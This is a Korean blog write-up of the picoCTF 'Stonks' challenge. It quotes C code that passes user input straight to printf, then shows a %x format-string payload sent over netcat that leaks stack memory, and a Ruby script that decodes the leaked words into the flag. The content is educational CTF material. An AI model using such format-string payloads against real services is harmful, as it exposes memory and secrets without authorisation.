[picoCTF] Stonks 풀이

Visits: 4

문제

I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn't believe you if you told me it's unsecure! vuln.c nc mercury.picoctf.net 53437


vuln.c 파일을 열어보면 C로 작성된 코드가 보인다. 뭐 특별한건 안보이니까 제시된 서버에 넷켓으로 접속해보자.

❯ nc mercury.picoctf.net 53437
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio

단순히 vuln.c가 컴파일되어 작동되는 걸로 보인다. 아마 출력 관련해서 취약점을 찾아야 할 것 같다. 다시 한번 vuln.c 코드를 살펴보자.

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);

버퍼를 그대로 출력하는 부분이 있다.

    char api_buf[FLAG_BUFFER];
    FILE *f = fopen("api","r");
    if (!f) {
        printf("Flag file not found. Contact an admin.\n");
        exit(1);
    }
    fgets(api_buf, FLAG_BUFFER, f);

심지어 api라는 파일에 있는 플래그 값을 버퍼에 저장도 하고...

되든 안되는 이 부분을 한번 건드려 보자.

❯ nc mercury.picoctf.net 53437
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x
Buying stonks with token:
93883f0
Portfolio as of Tue Dec  5 09:57:18 UTC 2023


1 shares of CB
3 shares of O
16 shares of O
510 shares of GS
33 shares of LCF
33 shares of OGC
1143 shares of DNVH
34 shares of WP
Goodbye!

된다!! %x로 메모리에 있던 93883f0 라는 정보를 가지고 왔다. 그럼 제대로 해보자.

❯ nc mercury.picoctf.net 53437
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x 
Buying stonks with token:
89093f0-804b000-80489c3-f7f3cd80-ffffffff-1-8907160-f7f4a110-f7f3cdc7-0-8908180-1-89093d0-89093f0-6f636970-7b465443-306c5f49-345f7435-6d5f6c6c-306d5f79-5f79336e-34636462-61653532-ffb8007d-f7f77af8-f7f4a440-5a5ccb00-1-0-f7dd9ce9-f7f4b0c0-f7f3c5c0-f7f3c000-ffb8ba08-f7dca68d-f7f3c5c0-8048eca-ffb8ba14-0-f7f5ef09-804b000-f7f3c000-f7f3ce20-ffb8ba48-f7f64d50-f7f3d890-5a5ccb00-f7f3c000-804b000-ffb8ba48-8048c86-8907160-ffb8ba34-ffb8ba48-8048be9-f7f3c3fc-0-ffb8bafc-ffb8baf4-1-1-8907160-5a5ccb00-ffb8ba60-0-0-f7d7ffa1-f7f3c000-f7f3c000-0-f7d7ffa1-1-ffb8baf4-ffb8bafc-ffb8ba84-1-0-f7f3c000-f7f5f70a-f7f77000-0-f7f3c000-0-0-daa38049-4298659-0-0-0-1-8048630-0-f7f64d50-f7f5f960-804b000-1-8048630-0-8048662-8048b85-
Portfolio as of Tue Dec  5 10:34:46 UTC 2023


1 shares of TQFP
4 shares of LO
2 shares of YDV
161 shares of FGQW
21 shares of L
20 shares of H
58 shares of IGT
226 shares of SCHX
Goodbye!

일단 나온 정보를 긁어다가 문자로 바꿔보자.

a = "89093f0-804b000-80489c3-f7f3cd80-ffffffff-1-8907160-f7f4a110-f7f3cdc7-0-8908180-1-89093d0-89093f0-6f636970-7b465443-306c5f49-345f7435-6d5f6c6c-306d5f79-5f79336e-34636462-61653532-ffb8007d-f7f77af8-f7f4a440-5a5ccb00-1-0-f7dd9ce9-f7f4b0c0-f7f3c5c0-f7f3c000-ffb8ba08-f7dca68d-f7f3c5c0-8048eca-ffb8ba14-0-f7f5ef09-804b000-f7f3c000-f7f3ce20-ffb8ba48-f7f64d50-f7f3d890-5a5ccb00-f7f3c000-804b000-ffb8ba48-8048c86-8907160-ffb8ba34-ffb8ba48-8048be9-f7f3c3fc-0-ffb8bafc-ffb8baf4-1-1-8907160-5a5ccb00-ffb8ba60-0-0-f7d7ffa1-f7f3c000-f7f3c000-0-f7d7ffa1-1-ffb8baf4-ffb8bafc-ffb8ba84-1-0-f7f3c000-f7f5f70a-f7f77000-0-f7f3c000-0-0-daa38049-4298659-0-0-0-1-8048630-0-f7f64d50-f7f5f960-804b000-1-8048630-0-8048662-8048b85"

a.split('-').each do |i|
    if i.length == 8
        a= [i].pack('H*').bytes
        a.each do |j|
            if 32<=j && j<128
                print j.chr
            end
        end
    end
end

실행해 보면

❯ ruby vuln.rb
ocip{FTC0l_I4_t5m_ll0m_y_y3n4cdbae52}z@Z\ HMPZ\H4HZ\`pIMP`%  

묘하게 플래그 같아 보인다.
잘 살펴보니 4글자 단위로 순서가 뒤짚어져 있는 것으로 보인다.
코드를 수정 · 추가하자.

a = "89093f0-804b000-80489c3-f7f3cd80-ffffffff-1-8907160-f7f4a110-f7f3cdc7-0-8908180-1-89093d0-89093f0-6f636970-7b465443-306c5f49-345f7435-6d5f6c6c-306d5f79-5f79336e-34636462-61653532-ffb8007d-f7f77af8-f7f4a440-5a5ccb00-1-0-f7dd9ce9-f7f4b0c0-f7f3c5c0-f7f3c000-ffb8ba08-f7dca68d-f7f3c5c0-8048eca-ffb8ba14-0-f7f5ef09-804b000-f7f3c000-f7f3ce20-ffb8ba48-f7f64d50-f7f3d890-5a5ccb00-f7f3c000-804b000-ffb8ba48-8048c86-8907160-ffb8ba34-ffb8ba48-8048be9-f7f3c3fc-0-ffb8bafc-ffb8baf4-1-1-8907160-5a5ccb00-ffb8ba60-0-0-f7d7ffa1-f7f3c000-f7f3c000-0-f7d7ffa1-1-ffb8baf4-ffb8bafc-ffb8ba84-1-0-f7f3c000-f7f5f70a-f7f77000-0-f7f3c000-0-0-daa38049-4298659-0-0-0-1-8048630-0-f7f64d50-f7f5f960-804b000-1-8048630-0-8048662-8048b85"

r=""

a.split('-').each do |i|
    if i.length == 8
        a= [i].pack('H*').bytes
        a.each do |j|
            if 32<=j && j<128
                r += j.chr
            end
        end
    end
end

r2 = r.scan(/.{4}/)
r3 = r2.map(&:reverse).join

puts r3

실행하면 불필요한 글자가 붙어있다. 직전에 나왔던 ocip{FTC0l_I4_t5m_ll0m_y_y3n4cdbae52}z@Z\ 와 비교해 적적하게 플래그를 유추해 보자.

끝.

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다